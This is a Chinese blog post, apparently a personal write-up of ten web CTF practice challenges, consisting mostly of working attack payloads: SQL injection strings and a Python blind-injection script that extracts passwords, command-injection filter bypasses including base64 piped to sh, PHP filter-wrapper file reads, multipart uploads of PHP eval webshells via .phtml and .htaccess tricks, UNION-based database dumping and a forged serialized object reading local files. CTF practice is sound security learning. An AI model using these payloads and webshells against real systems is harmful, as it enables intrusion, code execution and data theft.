一场练习赛

最新推荐文章于 2023-04-30 20:26:23 发布

名为逗比

最新推荐文章于 2023-04-30 20:26:23 发布

阅读量893

点赞数

分类专栏：逗比学CTF 文章标签：网络安全

本文链接：https://blog.csdn.net/weixin_45963786/article/details/125896460

版权

逗比学CTF 专栏收录该内容

10 篇文章 3 订阅

订阅专栏

一场练习赛

文章目录

一.[极客大挑战 2019]EasySQL-万能密码
二.[NCTF2019]SQLi-
- 1.访问robots.txt获取提示
- 2.爆破
三、[SUCTF 2019]EasySQL-堆叠注入重置操作符
四、[GXYCTF2019]Ping Ping Ping-名利执行绕过
五、[HCTF 2018]WarmUp-目录穿越
六、[HCTF 2018]WarmUp-php伪协议
- 七、[HCTF 2018]WarmUp-phtml文件上传
八、[BSidesCF 2020]Had a bad day -php伪协议
九、[GXYCTF2019]BabyUpload-.htaccess+js解析php木马
十、[网鼎杯 2018]Fakebook-sql注入+反序化

一.[极客大挑战 2019]EasySQL-万能密码

# 万能公式
1 and 1=1
1' and '1'='1
1 or 1=1 
1' or '1'='1

# payload
1' or '1'='1

二.[NCTF2019]SQLi-

1.访问robots.txt获取提示

User-agent: *
Disallow: /hint.txt
过滤
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";
目标
If $_POST['passwd'] === admin's password
sql语句
select * from users where username='1' and passwd='1'

2.爆破

# 利用\将引号转义，联成一个字符串，%00相当于注释
username=\&passwd=||1;%00
# 可以看到返回welcomte.php
# 通过盲注跑出密码
import requests
from urllib import parse
s = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#%&(),-/:;<=>@[\]_`{|}~'
flag=''
url="""http://882c127f-e2ee-4061-9c34-8393bedcf6c3.node4.buuoj.cn:81/index.php"""

while True:
    f=0
    for j in s:
        data = {"username": "\\",
                "passwd":"||passwd/**/regexp/**/\"^{}\";{}".format((flag+j),parse.unquote('%00'))
                }
        # 注意再写python的时候传入%00不能直接传入,直接传会解码直接为空
        res = requests.post(url=url,data=data)
        if "welcome.php" in res.text:
            flag=flag+j
            print(flag)
            f=1
            break
    if f==0:
        break
print(flag)
# 任意用户通过密码登录获得flag

三、[SUCTF 2019]EasySQL-堆叠注入重置操作符

set sql_mode=PIPES_AS_CONCAT;
-- 将||视为字符串的连接操作符而非或运算符
payload

1;set sql_mode=PIPES_AS_CONCAT;select 1

四、[GXYCTF2019]Ping Ping Ping-名利执行绕过

过滤内容
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

?>

绕过空格
{cat,flag.txt} 
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat$IFS$1flag.txt
cat<flag.txt
%09替换
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格，这里通过变量的方式巧妙绕过)
base64绕过
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
拼接绕过
?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php

注意查看源码

五、[HCTF 2018]WarmUp-目录穿越

# source.php
 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

# hint.php
flag not here, and flag in ffffllllaaaagggg

目录穿越绕过原理

六、[HCTF 2018]WarmUp-php伪协议

通过查看源码和抓包获取到secr3t.php

# secr3t.php
<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>

# php伪协议读取文件
?file=php://filter/convert.base64-encode/resource=flag.php

七、[HCTF 2018]WarmUp-phtml文件上传

-----------------------------257135797017926925802823295100
Content-Disposition: form-data; name="upload_file"; filename="一句话.phtml"
Content-Type: image/jpeg

<?php
@eval($_GET['zl']);

-----------------------------257135797017926925802823295100

八、[BSidesCF 2020]Had a bad day -php伪协议

# 读源码
index.php?category=php://filter/convert.base64-encode/resource=index
# index.php
<?php
$file = $_GET['category'];

if(isset($file))
{
    if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
        include ($file . '.php');
    }
    else{
        echo "Sorry, we currently only support woofers and meowers.";
    }
}
?>
# 读flag，根据源码所示，必须包含index
index.php?category=php://filter/convert.base64-encode/index/resource=flag

九、[GXYCTF2019]BabyUpload-.htaccess+js解析php木马

上传.htaccess
-----------------------------117276979533699198923753878153
Content-Disposition: form-data; name="uploaded"; filename=".htaccess"
Content-Type: image/jpeg

AddType application/x-httpd-php .jpeg

-----------------------------117276979533699198923753878153
Content-Disposition: form-data; name="submit"

上传
-----------------------------117276979533699198923753878153--

文件利用js解析php语言
-----------------------------117276979533699198923753878153
Content-Disposition: form-data; name="uploaded"; filename="a.jpeg"
Content-Type: image/jpeg

GIF89a
<script language="php">@eval($_POST['zl']);</script>

-----------------------------117276979533699198923753878153
Content-Disposition: form-data; name="submit"

上传
-----------------------------117276979533699198923753878153--

十、[网鼎杯 2018]Fakebook-sql注入+反序化

相当详细wp

# 注入过程
# 查库
http://4a2f824b-5517-4f61-8e5c-891290c6d4b3.node4.buuoj.cn:81/view.php?no=-1%20union/**/select%201,(select%20group_concat(schema_name)%20from%20information_schema.schemata),3,4

  fakebook,information_schema,mysql,performance_schema,test 
# 查表
union/**/select 1,(select group_concat(table_name) from information_schema.tables where table_schema='fakebook'),3,4

  users
# 查字段
union/**/select 1,(select group_concat(column_name) from information_schema.columns where table_schema='fakebook'),3,4

no,username,passwd,data 
# 查data
union/**/select 1,(select data from fakebook.users),3,4

O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:13:"www.baidu.com";} 

# php序列化
<?php

class userinfo{
    public $name='adm';
    public $age='20';
    public $blog='file:///var/www/html/flag.php';
}
$us = new userinfo();
echo serialize($us);

'O:8:"userinfo":3:{s:4:"name";s:3:"adm";s:3:"age";s:2:"20";s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

# 伪造访问
union/**/select 1,2,3,'O:8:"userinfo":3:{s:4:"name";s:3:"adm";s:3:"age";s:2:"20";s:4:"blog";s:29:"file:///var/www/html/flag.php";}'